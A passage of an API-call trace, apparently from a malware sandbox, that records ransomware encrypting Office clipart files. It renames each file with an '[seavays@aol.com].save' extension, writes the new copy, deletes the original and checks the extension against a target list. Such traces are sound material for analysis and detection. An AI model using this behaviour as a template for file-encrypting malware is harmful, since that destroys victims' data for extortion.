out: lpNewFilePointer=0x0) returned 1 [0077.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0077.930] GetLastError () returned 0x0 [0077.930] ReadFile (in: hFile=0x394, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2b8, lpOverlapped=0x0) returned 1 [0078.314] WriteFile (in: hFile=0x37c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x2c0, lpOverlapped=0x0) returned 1 [0078.315] ReadFile (in: hFile=0x394, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.315] WriteFile (in: hFile=0x37c, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.315] SetEndOfFile (hFile=0x37c) returned 1 [0078.315] CloseHandle (hObject=0x37c) returned 1 [0078.315] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.315] SetEndOfFile (hFile=0x394) returned 1 [0078.316] CloseHandle (hObject=0x394) returned 1 [0078.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00346_.wmf")) returned 1 [0078.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0078.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0078.369] lstrlenW (lpString=".doc") returned 4 [0078.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.369] lstrlenW (lpString=".docx") returned 5 [0078.369] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0078.369] lstrlenW (lpString=".pdf") returned 4 [0078.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString=".xls") returned 4 [0078.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.370] lstrlenW (lpString=".xlsx") returned 5 [0078.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0078.370] lstrlenW (lpString=".ppt") returned 4 [0078.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0078.370] lstrlenW (lpString=".zip") returned 4 [0078.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.370] lstrlenW (lpString=".rar") returned 4 [0078.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString=".bz2") returned 4 [0078.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString=".7z") returned 3 [0078.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0078.370] lstrlenW (lpString=".dbf") returned 4 [0078.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0078.370] lstrlenW (lpString=".1cd") returned 4 [0078.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00346_.WMF") returned 68 [0078.370] lstrlenW (lpString=".jpg") returned 4 [0078.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.588] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.588] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0078.588] GetLastError () returned 0x0 [0078.588] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x5516, lpOverlapped=0x0) returned 1 [0078.590] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x5520, lpOverlapped=0x0) returned 1 [0078.593] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.593] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.594] SetEndOfFile (hFile=0x2f4) returned 1 [0078.594] CloseHandle (hObject=0x2f4) returned 1 [0078.594] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.594] SetEndOfFile (hFile=0x37c) returned 1 [0078.595] CloseHandle (hObject=0x37c) returned 1 [0078.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.595] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086426.wmf")) returned 1 [0078.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0078.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0078.596] lstrlenW (lpString=".doc") returned 4 [0078.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.596] lstrlenW (lpString=".docx") returned 5 [0078.596] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0078.596] lstrlenW (lpString=".pdf") returned 4 [0078.596] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.596] lstrlenW (lpString=".xls") returned 4 [0078.596] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.596] lstrlenW (lpString=".xlsx") returned 5 [0078.596] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0078.596] lstrlenW (lpString=".ppt") returned 4 [0078.596] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0078.596] lstrlenW (lpString=".zip") returned 4 [0078.596] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.596] lstrlenW (lpString=".rar") returned 4 [0078.596] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.596] lstrlenW (lpString=".bz2") returned 4 [0078.596] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.596] lstrlenW (lpString=".7z") returned 3 [0078.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0078.597] lstrlenW (lpString=".dbf") returned 4 [0078.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0078.597] lstrlenW (lpString=".1cd") returned 4 [0078.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086426.WMF") returned 68 [0078.597] lstrlenW (lpString=".jpg") returned 4 [0078.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.597] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.598] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0078.598] GetLastError () returned 0x0 [0078.598] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x3d40, lpOverlapped=0x0) returned 1 [0078.600] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x3d50, lpOverlapped=0x0) returned 1 [0078.601] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.601] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.601] SetEndOfFile (hFile=0x2f4) returned 1 [0078.602] CloseHandle (hObject=0x2f4) returned 1 [0078.602] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.602] SetEndOfFile (hFile=0x37c) returned 1 [0078.603] CloseHandle (hObject=0x37c) returned 1 [0078.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.603] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1 [0078.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0078.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0078.604] lstrlenW (lpString=".doc") returned 4 [0078.604] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.604] lstrlenW (lpString=".docx") returned 5 [0078.604] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0078.604] lstrlenW (lpString=".pdf") returned 4 [0078.604] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.604] lstrlenW (lpString=".xls") returned 4 [0078.604] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.604] lstrlenW (lpString=".xlsx") returned 5 [0078.604] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0078.604] lstrlenW (lpString=".ppt") returned 4 [0078.604] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0078.604] lstrlenW (lpString=".zip") returned 4 [0078.604] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.604] lstrlenW (lpString=".rar") returned 4 [0078.604] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.604] lstrlenW (lpString=".bz2") returned 4 [0078.604] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.604] lstrlenW (lpString=".7z") returned 3 [0078.604] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0078.604] lstrlenW (lpString=".dbf") returned 4 [0078.604] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0078.604] lstrlenW (lpString=".1cd") returned 4 [0078.604] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68 [0078.604] lstrlenW (lpString=".jpg") returned 4 [0078.605] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.605] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.605] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.605] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0078.606] GetLastError () returned 0x0 [0078.606] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x5314, lpOverlapped=0x0) returned 1 [0078.608] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x5320, lpOverlapped=0x0) returned 1 [0078.609] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.609] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.609] SetEndOfFile (hFile=0x2f4) returned 1 [0078.609] CloseHandle (hObject=0x2f4) returned 1 [0078.610] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.610] SetEndOfFile (hFile=0x37c) returned 1 [0078.611] CloseHandle (hObject=0x37c) returned 1 [0078.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.611] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0078.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0078.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0078.612] lstrlenW (lpString=".doc") returned 4 [0078.612] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.612] lstrlenW (lpString=".docx") returned 5 [0078.612] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0078.612] lstrlenW (lpString=".pdf") returned 4 [0078.612] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.612] lstrlenW (lpString=".xls") returned 4 [0078.612] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.612] lstrlenW (lpString=".xlsx") returned 5 [0078.612] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0078.612] lstrlenW (lpString=".ppt") returned 4 [0078.612] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0078.612] lstrlenW (lpString=".zip") returned 4 [0078.612] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.612] lstrlenW (lpString=".rar") returned 4 [0078.612] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.612] lstrlenW (lpString=".bz2") returned 4 [0078.612] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.613] lstrlenW (lpString=".7z") returned 3 [0078.613] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0078.613] lstrlenW (lpString=".dbf") returned 4 [0078.613] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0078.613] lstrlenW (lpString=".1cd") returned 4 [0078.613] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0078.613] lstrlenW (lpString=".jpg") returned 4 [0078.613] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.614] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.615] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0078.615] GetLastError () returned 0x0 [0078.615] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xb758, lpOverlapped=0x0) returned 1 [0078.618] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xb760, lpOverlapped=0x0) returned 1 [0078.619] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.619] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0078.619] SetEndOfFile (hFile=0x2f4) returned 1 [0078.619] CloseHandle (hObject=0x2f4) returned 1 [0078.620] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.620] SetEndOfFile (hFile=0x37c) returned 1 [0078.621] CloseHandle (hObject=0x37c) returned 1 [0078.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0078.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0078.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0078.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0078.622] lstrlenW (lpString=".doc") returned 4 [0078.622] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0078.622] lstrlenW (lpString=".docx") returned 5 [0078.622] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0078.622] lstrlenW (lpString=".pdf") returned 4 [0078.622] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0078.622] lstrlenW (lpString=".xls") returned 4 [0078.622] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0078.622] lstrlenW (lpString=".xlsx") returned 5 [0078.622] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0078.622] lstrlenW (lpString=".ppt") returned 4 [0078.622] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0078.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0078.622] lstrlenW (lpString=".zip") returned 4 [0078.622] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0078.622] lstrlenW (lpString=".rar") returned 4 [0078.623] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0078.623] lstrlenW (lpString=".bz2") returned 4 [0078.623] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0078.623] lstrlenW (lpString=".7z") returned 3 [0078.623] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0078.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0078.623] lstrlenW (lpString=".dbf") returned 4 [0078.623] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0078.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0078.623] lstrlenW (lpString=".1cd") returned 4 [0078.623] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0078.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0078.623] lstrlenW (lpString=".jpg") returned 4 [0078.623] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0078.624] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.624] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090089.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0078.624] GetLastError () returned 0x0 [0078.625] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x3d90, lpOverlapped=0x0) returned 1 [0079.017] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x3da0, lpOverlapped=0x0) returned 1 [0079.018] ReadFile (in: hFile=0x37c, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.018] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0079.018] SetEndOfFile (hFile=0x2f4) returned 1 [0079.019] CloseHandle (hObject=0x2f4) returned 1 [0079.019] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.019] SetEndOfFile (hFile=0x37c) returned 1 [0079.020] CloseHandle (hObject=0x37c) returned 1 [0079.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090089.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0079.020] DeleteFileW 